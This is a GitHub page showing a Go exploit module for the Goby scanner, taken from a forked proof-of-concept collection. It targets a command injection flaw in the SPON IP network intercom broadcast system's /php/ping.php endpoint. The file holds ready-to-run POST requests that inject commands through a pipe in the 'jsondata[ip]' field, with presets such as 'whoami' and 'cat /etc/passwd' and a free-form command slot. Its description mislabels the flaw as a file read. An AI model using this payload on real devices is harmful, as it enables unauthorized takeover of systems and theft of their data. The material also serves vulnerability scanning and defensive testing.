forked from luck-ying/Library-POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSPON_IP_network_intercom_broadcast_system_ping.php_RCE.go
142 lines (139 loc) · 4.13 KB
/
SPON_IP_network_intercom_broadcast_system_ping.php_RCE.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package exploits
import (
"git.gobies.org/goby/goscanner/goutils"
)
func init() {
expJson := `{
"Name": "SPON IP network intercom broadcast system ping.php RCE",
"Description": "World Bond Communication Co., Ltd. is an audio as the core of the Internet of things solution provider. An arbitrary file reading vulnerability exists in the IP network intercom broadcast system of WorldBond Communication Co., LTD., which can be used by attackers to obtain sensitive information",
"Product": "SPON IP network intercom broadcast system",
"Homepage": "https://www.spon.com.cn/",
"DisclosureDate": "2021-08-24",
"Author": "[email protected]",
"GobyQuery": "body=\"lan/manifest.json\"",
"Level": "3",
"Impact": "<p>Command execution injection is mainly caused by the fact that the developer references the client parameters when the application system initiates the operating system command, and does not verify the validity of the parameters.&amp;nbsp; Therefore, the attacker can inject malicious command parameters into the parameters, resulting in the execution of the malicious command specified by the attacker.&amp;nbsp; &amp;nbsp;Through this vulnerability, the attacker can execute any operating system commands and directly gain full control of the operating system in the case of improper permission configuration.<br></p>",
"Recommandation": "<p>1. Verify the validity of the value passed by the parameter</p><p>2. Restrict the execution permission of the application<br></p>",
"References": [],
"HasExp": true,
"ExpParams": [
{
"name": "Command",
"type": "createSelect",
"value": "type C:\\Windows\\win.ini,dir,whoami,id,cat /etc/passwd",
"show": ""
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"OR",
{
"Request": {
"method": "POST",
"uri": "/php/ping.php",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
"data_type": "text",
"data": "jsondata[ip]=%7Ctype C:\\Windows\\win.ini&jsondata[type]=0"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "[fonts]",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/php/ping.php",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
"data_type": "text",
"data": "jsondata[ip]=%7Cid&jsondata[type]=0"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "uid=",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/php/ping.php",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
"data_type": "text",
"data": "jsondata[ip]=%7C{{{Command}}}&jsondata[type]=0"
},
"SetVariable": [
"output|lastbody"
]
}
],
"Tags": [
"RCE"
],
"CVEIDs": null,
"CVSSScore": "0.0",
"AttackSurfaces": {
"Application": [
"SPON IP network intercom broadcast system"
],
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil,
nil,
))
}